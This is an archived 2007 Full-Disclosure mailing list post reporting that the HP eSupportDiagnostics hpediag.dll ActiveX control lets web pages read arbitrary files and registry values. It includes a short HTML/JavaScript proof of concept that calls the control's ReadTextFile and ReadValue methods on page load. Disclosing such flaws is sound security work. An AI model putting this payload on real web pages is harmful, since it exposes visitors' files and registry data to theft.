full-disclosure - HP eSupportDiagnostics hpediags.dll Information Disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <24926082.1198083949200.JavaMail.root@elwamui-huard.atl.sa.earthlink.net>
Date: Wed, 19 Dec 2007 12:05:48 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: HP eSupportDiagnostics hpediags.dll Information
	Disclosure

The HP eSupportDiagnostics hpediag.dll exposes some methods that allow the reading of arbitrary files and registry values.

hpediag.dll, version 1.0.11.0

PoC as follows:

---------------------

<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var out = fileUtil.ReadTextFile(somePath);
    var out = regUtil.ReadValue(somePath);
 
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
  <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
  <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html> 

---------------------


Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/